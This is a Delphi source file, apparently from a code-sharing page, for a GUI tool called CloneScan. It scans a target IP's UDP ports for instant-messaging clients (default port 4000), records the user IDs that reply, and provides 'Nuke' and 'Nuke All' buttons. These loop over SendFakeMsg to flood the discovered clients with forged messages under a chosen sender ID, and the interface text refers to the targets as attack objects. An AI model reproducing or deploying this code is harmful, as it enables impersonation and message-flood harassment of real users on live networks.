其他

开发平台：
Delphi

CloneScan.pas：源码内容
							unit CloneScan;
{$define DEBUGVERSION}
//{$define REDUCE_VERSION}
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Spin, NMUDP, ExtCtrls, Menus,WinSock, ScktComp, ComCtrls;
type
  TPortScanParam=record
    dwID,sinAddr:DWORD;
    nStartPort,nStopPort,nStepPort:DWORD;
    nLoopCnt,nTimeOut:Integer;
    end;
  PPortScanParam=^TPortScanParam;
  TPortInfo=record
    nIndex:Integer;
    nPort:WORD;
    strUID:string;
    end;
  TCloneScanDlg = class(TForm)
    Label1: TLabel;
    edIPAddr: TEdit;
    Label2: TLabel;
    PortList: TListBox;
    btnStart: TButton;
    Label3: TLabel;
    Label4: TLabel;
    edStartPort: TSpinEdit;
    edStopPort: TSpinEdit;
    edTimes: TSpinEdit;
    edTimeOut: TSpinEdit;
    Label5: TLabel;
    Label6: TLabel;
    btnClose: TButton;
    PortUDP: TNMUDP;
    OutTimer: TTimer;
    Label7: TLabel;
    edSrcId: TEdit;
    btnNuke: TButton;
    btnNukeAll: TButton;
    ScanMenu: TPopupMenu;
    mClear: TMenuItem;
    mSave: TMenuItem;
    SaveDlg: TSaveDialog;
    Label8: TLabel;
    edThreadNum: TSpinEdit;
    btnPause: TButton;
    Label9: TLabel;
    lbTargetNumber: TLabel;
    ProgBar: TProgressBar;
    procedure PortUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
      FromIP: String; Port: Integer);
    procedure OutTimerTimer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure btnNukeClick(Sender: TObject);
    procedure btnNukeAllClick(Sender: TObject);
    procedure mClearClick(Sender: TObject);
    procedure mSaveClick(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure btnCloseClick(Sender: TObject);
    procedure PortListKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure btnStartClick(Sender: TObject);
    procedure btnPauseClick(Sender: TObject);
  private
    { Private declarations }
    info:array of TPortInfo;
    nInfoCnt:Integer;
//    nThreadId:LongWord;
    nScanCnt:Integer;
    nRunFlag:Integer;
    ListLock:TMultiReadExclusiveWriteSynchronizer;
    StatusLock:TMultiReadExclusiveWriteSynchronizer;
    
    function CheckInput:Boolean;
    function FindPortInfo(nPort:WORD):integer;
{$ifndef REDUCE_VERSION}
    function GetIdByIndex(index:Integer):string;
    function GetIpByIndex(index:Integer):string;
    function GetPortByIndex(Index:Integer):WORD;
{$endif}
    procedure DeletePortByIndex(Index:Integer);
    procedure ProcessReponse(buf:array of char;buflen:Integer;fromIp:string;fromPort:WORD);
//    procedure SendPackage;
    procedure ShutdownThread;
    procedure DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD);
//    function GetTimeOutOfPeer(ip:String):Integer;
    procedure ThreadPortScan;
  public
    { Public declarations }
    FSocket:TSocket;
    class procedure Execute(ip:string);
  end;
var
    CloneScanDlg:TCloneScanDlg;
implementation
{$R *.DFM}
uses data,info,NukeInfo, Main;
var
StopFlag:Boolean;
function ThreadScanFunc(p:Pointer):Integer;
var
param:PPortScanParam;
begin
param:=p;  
CloneScanDlg.DoPortScan(param^.sinAddr,param^.nStartPort,Param^.nStopPort,param^.nLoopCnt,param^.nTimeOut);
Dec(CloneScanDlg.nRunFlag);
if(CloneScanDlg.nRunFlag=0)then
    begin
    CloneScanDlg.btnStart.Enabled:=True;
    CloneScanDlg.btnPause.Enabled:=False;
    end;
FreeMem(p);
Result:=0;
end;
function  ScanFunc(p:Pointer):Integer;
var
buf:array [0..2048] of char;
fromaddr:TSockAddr;
fromlen:Integer;
buflen:Integer;
//RetCode:DWORD;
begin
while(not StopFlag)do
    begin
    ZeroMemory(@fromaddr,sizeof(fromaddr));
    fromlen:=SizeOf(fromaddr);
    buflen:=recvfrom(CloneScanDlg.FSocket,buf,2048,0,fromaddr,fromlen);
    if(buflen<>SOCKET_ERROR)then
        CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port));
{    else
        begin
        //if retcode=10054 remote host close connection
        //mean that ICMP DESTAINATION UNREACHEABLE
        RetCode:=GetLastError;
        end;}
    end;
Result:=0;
end;
function TCloneScanDlg.CheckInput: Boolean;
begin
result:=true;
end;
class procedure TCloneScanDlg.Execute(ip: string);
begin
if(CloneScanDlg<>nil)then
    begin
    CloneScanDlg.edIPAddr.Text:=ip;
    CloneScanDlg.Show
    end
else
    begin
    CloneScanDlg:=TCloneScanDlg.Create(Application);
    CloneScanDlg.edIPAddr.Text:=ip;
    CloneScanDlg.Show;
    end;
end;
procedure TCloneScanDlg.PortUDPDataReceived(Sender: TComponent;
  NumberBytes: Integer; FromIP: String; Port: Integer);
var
buf:array [0..2048] of char;
len:Integer;
begin
PortUDP.ReadBuffer(buf,len);
if(len>10)then
    begin
    ProcessReponse(buf,len,FromIp,Port);
    end;
end;
procedure TCloneScanDlg.OutTimerTimer(Sender: TObject);
begin
{OutTimer.Enabled:=False;
ShutdownThread;
closesocket(FSocket);
btnStart.Enabled:=True;
lbStatus.caption:='扫描结果如下';}
end;
procedure TCloneScanDlg.FormCreate(Sender: TObject);
begin
nInfoCnt:=0;
ListLock:=TMultiReadExclusiveWriteSynchronizer.Create;
StatusLock:=TMultiReadExclusiveWriteSynchronizer.Create;
end;
function TCloneScanDlg.FindPortInfo(nPort: WORD): integer;
var
i:Integer;
begin
Result:=-1;
for i:=0 to nInfoCnt-1 do
    begin
    if(info[i].nPort=nPort)then
        begin
        Result:=i;
        break;
        end;
    end;
end;
procedure TCloneScanDlg.btnNukeClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
SrcId,msg:String;
i,FaceNo,cnt:DWORD;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(PortList.Items.Count>0)then
    begin
    if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then
        begin
        for i:=0 to cnt do
            begin
            SendFakeMsg(SrcId,IntToStr(FaceNo),GetIdByIndex(PortList.ItemIndex),
                GetIPByIndex(PortList.ItemIndex),GetPortByIndex(PortList.ItemIndex),msg,Date,Time);
            end;
        end;
    end
else
    begin
    ShowMessage('没有攻击对象！');
    end;
{$else}
ShowMessage('对不起！简版没有此功能');
{$endif}
end;
{$ifndef REDUCE_VERSION}
function TCloneScanDlg.GetIdByIndex(index: Integer): string;
var
i:Integer;
begin
for i:=0 to nInfoCnt-1 do
    begin
    if(info[i].nIndex=index)then
        begin
        Result:=info[i].strUID;
        Break;
        end;
    end;
end;
function TCloneScanDlg.GetIpByIndex(index: Integer): string;
begin
Result:=edIPAddr.Text;
end;
function TCloneScanDlg.GetPortByIndex(Index: Integer): WORD;
var
i:Integer;
begin
Result:=4000;
for i:=0 to nInfoCnt-1 do
    begin
    if(info[i].nIndex=index)then
        begin
        Result:=info[i].nPort;
        Break;
        end;
    end;
end;
{$endif}
procedure TCloneScanDlg.btnNukeAllClick(Sender: TObject);
{$ifndef REDUCE_VERSION}
var
SrcId,msg:String;
i,j,FaceNo,cnt:DWORD;
{$endif}
begin
{$ifndef REDUCE_VERSION}
if(TNukeInfoDlg.Execute(SrcId,FaceNo,cnt,msg))then
    begin
    for i:=0 to nInfoCnt-1 do
        begin
        for j:=0 to cnt do
            begin
            SendFakeMsg(SrcId,IntToStr(FaceNo),info[i].strUID,
                edIPAddr.Text,info[i].nPort,msg,Date,Time);
            end;
        end;
    end;
{$else}
ShowMessage('对不起！简版没有此功能.');
{$endif}
end;
procedure TCloneScanDlg.mClearClick(Sender: TObject);
begin
PortList.Clear;
SetLength(info,0);
nInfoCnt:=0;
lbTargetNumber.Caption:='0';
end;
procedure TCloneScanDlg.mSaveClick(Sender: TObject);
begin
if(SaveDlg.Execute)then
    begin
    if(Sender is TMenuItem)then
        (
            (
                (Sender as TMenuItem).GetParentMenu as TPopupMenu
            ).PopupComponent as TListBox
        ).Items.SaveToFile(SaveDlg.FileName);
    end;
end;
procedure TCloneScanDlg.FormDestroy(Sender: TObject);
begin
CloneScanDlg:=nil;
end;
procedure TCloneScanDlg.btnCloseClick(Sender: TObject);
begin
Close;
end;
procedure TCloneScanDlg.PortListKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
var
index:Integer;
begin
if(Key=VK_DELETE)then
    begin
    index:=PortList.ItemIndex;
    DeletePortByIndex(index);
    PortList.Items.Delete(PortList.ItemIndex);
    PortList.ItemIndex:=index;
    end;
end;
procedure TCloneScanDlg.ProcessReponse(buf: array of char;
  buflen: Integer;fromIp:string;fromPort:WORD);
var
uid:string;
i:Integer;
begin
uid:='';
if(buf[4]=chr($79))then//Direct msg Reponse
    begin
    for i:=7 to buflen -2 do
        begin
        uid:=uid+buf[i];
        end;
    if(FindPortInfo(fromPort)<0)then
        begin
        Inc(nInfoCnt);
        SetLength(info,nInfoCnt);
        info[nInfoCnt-1].nPort:=fromPort;
        info[nInfoCnt-1].strUID:=uid;
        ListLock.BeginWrite;
        info[nInfoCnt-1].nIndex:=PortList.Items.Add('Port:'+IntToStr(fromPort)+'  ID:'+uid);
        lbTargetNumber.Caption:=IntToStr(nInfoCnt);
        ListLock.EndWrite;
        end;
    end;
end;
{procedure TCloneScanDlg.btnStartClick(Sender: TObject);
var
addr:TSockAddr;
begin
if(not CheckInput)then Exit;
btnStart.Enabled:=False;
OutTimer.Enabled:=False;
OutTimer.Interval:=edTimeOut.Value;
FSocket:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
if(FSocket<>INVALID_SOCKET)then
    begin
    Addr.sin_family := AF_INET;
    Addr.sin_addr.s_addr := INADDR_ANY;
    Addr.sin_port := 0;
    if(bind(FSocket,addr,sizeof(addr))<>SOCKET_ERROR)then
        begin
        StopFlag:=False;
        if(BeginThread(nil,4096,ScanFunc,Pointer(FSocket),0,nThreadId)=NULL)then
            begin
            ShowMessage('Thread error'+IntToStr(GetLastError));
            end;
        try
            SendPackage;
            lbStatus.Caption:='等待回答...';
            OutTimer.Enabled:=True;
        except
            ShutDownThread;
            closesocket(FSocket);
            btnStart.Enabled:=False;
            end;
        end;
    end;
end;}
{procedure TCloneScanDlg.SendPackage;
var
addr:TSockAddr;
port:WORD;
ip:string;
buflen,i:Integer;
buf:array [0..2048] of char;
begin
ZeroMemory(@addr,sizeof(addr));
if(CheckInput)then
    begin
    lbStatus.Caption:='正在发送...';
    Refresh;
    ip:=edIPAddr.Text;
    for port:=edStartPort.Value to edStopPort.Value do
        begin
        Inc(nFakeCnt);
        for i:=0 to edTimes.Value-1 do
            begin
            buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,'');
            addr.sin_family:=AF_INET;
            addr.sin_addr.S_addr:=inet_addr(PChar(ip));
            addr.sin_port:=htons(port);
            if(sendto(FSocket,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then
                begin
                ShowMessage('Send error'+IntToStr(GetLastError));
                break;
                end;
            end;
        end;
    end;
end;}
procedure TCloneScanDlg.ShutdownThread;
begin
StopFlag:=TRUE;
end;
procedure TCloneScanDlg.DeletePortByIndex(Index: Integer);
var
i:Integer;
begin
for i:=0 to nInfoCnt do
    begin
    if(info[i].nIndex=index)then
        begin
        info[i].nPort:=0;
        Break;
        end;
    end;
end;
procedure TCloneScanDlg.DoPortScan(sinAddr:DWORD;StartPort,EndPort:WORD;LoopCnt,TimeOut:DWORD);
var
addr:TSockAddr;
s:TSocket;
RecvTimeOut,i:Integer;
buf:array [0..2048] of char;
fromaddr:TSockAddr;
fromlen:Integer;
buflen:Integer;
ErrCode:Integer;
port:WORD;
begin
if(not CheckInput)then Exit;
s:=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
RecvTimeOut:=TimeOut;
if(s<>INVALID_SOCKET)then
    begin
    Addr.sin_family := AF_INET;
    Addr.sin_addr.s_addr := INADDR_ANY;
    Addr.sin_port := 0;
    if(bind(s,addr,sizeof(addr))<>SOCKET_ERROR)then
        begin
        if(SOCKET_ERROR=setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,@RecvTimeOut,sizeof(RecvTimeOut)))then
            begin
            ShowMessage('setsockopt error:'+IntToStr(GetLastError));
            end
        else
            begin
//            lbStatus.Caption:='正在扫描...';
            
            for port:=StartPort to EndPort do
                begin
                Inc(nFakeCnt);
                StatusLock.BeginWrite;
                Inc(nScanCnt);
//                lbStatus.Caption:='已扫描端口个数:'+IntToStr(nScanCnt);
//                lbStatus.Repaint;
                if((nScanCnt mod 10)=9)then
                    begin
                    ProgBar.StepIt;
                    end;
                if(nScanCnt=(edStopPort.Value-edStartPort.Value))then
                    begin
                    ProgBar.Position:=ProgBar.Max;
                    end;
                StatusLock.EndWrite;
                for i:=0 to LoopCnt-1 do
                    begin
                    //sending .....
                    buflen:=MakeDirectMsgBuf(buf,nFakeCnt,edSrcId.text,0,Date,Time,'');
                    addr.sin_family:=AF_INET;
                    addr.sin_addr.S_addr:=sinAddr;
                    addr.sin_port:=htons(port);
                    if(sendto(s,buf,buflen,0,addr,sizeof(addr))=SOCKET_ERROR)then
                        begin
                        ShowMessage('Send error'+IntToStr(GetLastError));
                        break;
                        end;
                    //recv...
                    ZeroMemory(@fromaddr,sizeof(fromaddr));
                    fromlen:=SizeOf(fromaddr);
                    buflen:=recvfrom(s,buf,2048,0,fromaddr,fromlen);
                    if(buflen<>SOCKET_ERROR)then
                        begin//Get it!
                        CloneScanDlg.ProcessReponse(buf,buflen,inet_ntoa(fromaddr.sin_addr),ntohs(fromaddr.sin_port));
                        Break;//Let 's scan next port
                        end
                    else
                        begin
                        ErrCode:=GetLastError;
                        if(ErrCode=10054)then
                            begin
                            //ICMP report destination unrecheable,let's scan next port
                            Break;
                            end;
                        end;
                    end;//end for LoopCnt
                Application.ProcessMessages;
                if(StopFlag)then Break;
                end;//End for port
            end;
        end
    else//bind error
        begin
        ErrCode:=GetLastError;
        ShowMessage('Bind error'+IntToStr(ErrCOde));
        end;
    closesocket(s);
    end;
end;
procedure TCloneScanDlg.btnStartClick(Sender: TObject);
begin
if(not CheckInput)then Exit;
nRunFlag:=edThreadNum.Value;
nScanCnt:=0;
StopFlag:=False;
if(edStopPort.Value<=ProgBar.Min)then
    begin
    ProgBar.Min:=edStartPort.Value;
    ProgBar.Max:=edStopPort.Value;
    end
else
    begin
    ProgBar.Max:=edStopPort.Value;
    ProgBar.Min:=edStartPort.Value;
    end;
if((edStopPort.Value-edStartport.Value)<50)then
    ProgBar.Step:=1
else ProgBar.Step:=10;
btnStart.Enabled:=False;
btnPause.Enabled:=True;
ThreadPortScan;
Application.ProcessMessages;
end;
procedure TCloneScanDlg.btnPauseClick(Sender: TObject);
begin
ShutDownThread;
end;
{function TCloneScanDlg.GetTimeOutOfPeer(ip: String): Integer;
begin
Result:=500;
end;} 
procedure TCloneScanDlg.ThreadPortScan;
var
i:DWORD;
//hThreads:array of LongWord;
nThreadId:LongWord;
param:PPortScanParam;
step:DWORD;
LastPort:WORD;
begin
//SetLength(hThreads,edThreadNum.Value);
step:=(edStopPort.Value-edStartPort.Value) div edThreadNum.Value;
LastPort:=edStartPort.Value;
for i:=0 to edThreadNum.Value-2 do
    begin
    param:=AllocMem(SizeOf(TPortScanParam));
    param.sinAddr:=inet_addr(PChar(edIPAddr.Text));
    param.dwID:=StrToIntDef(edSrcId.Text,0);
    param.nLoopCnt:=edTimes.Value;
    param.nTimeOut:=edTimeOut.Value;
    param.nStartPort:=DWORD(edStartPort.Value)+i*step;
    param.nStopPort:=param.nStartPort+step-1;
    param.nStepPort:=step;
    LastPort:=param.nStopPort+1;
    if(BeginThread(nil,4096,ThreadScanFunc,param,0,nThreadId)=NULL)then
        begin
        ShowMessage('Begin Thread error'+IntToStr(GetLastError));
        Break;
        end;
    end;
param:=AllocMem(SizeOf(TPortScanParam));
param.sinAddr:=inet_addr(PChar(edIPAddr.Text));
param.dwID:=StrToIntDef(edSrcId.Text,0);
param.nLoopCnt:=edTimes.Value;
param.nTimeOut:=edTimeOut.Value;
param.nStartPort:=LastPort;
param.nStopPort:=edStopPort.Value;
param.nStepPort:=step;
BeginThread(nil,4096,ThreadScanFunc,param,0,nThreadId);
end;
end.

						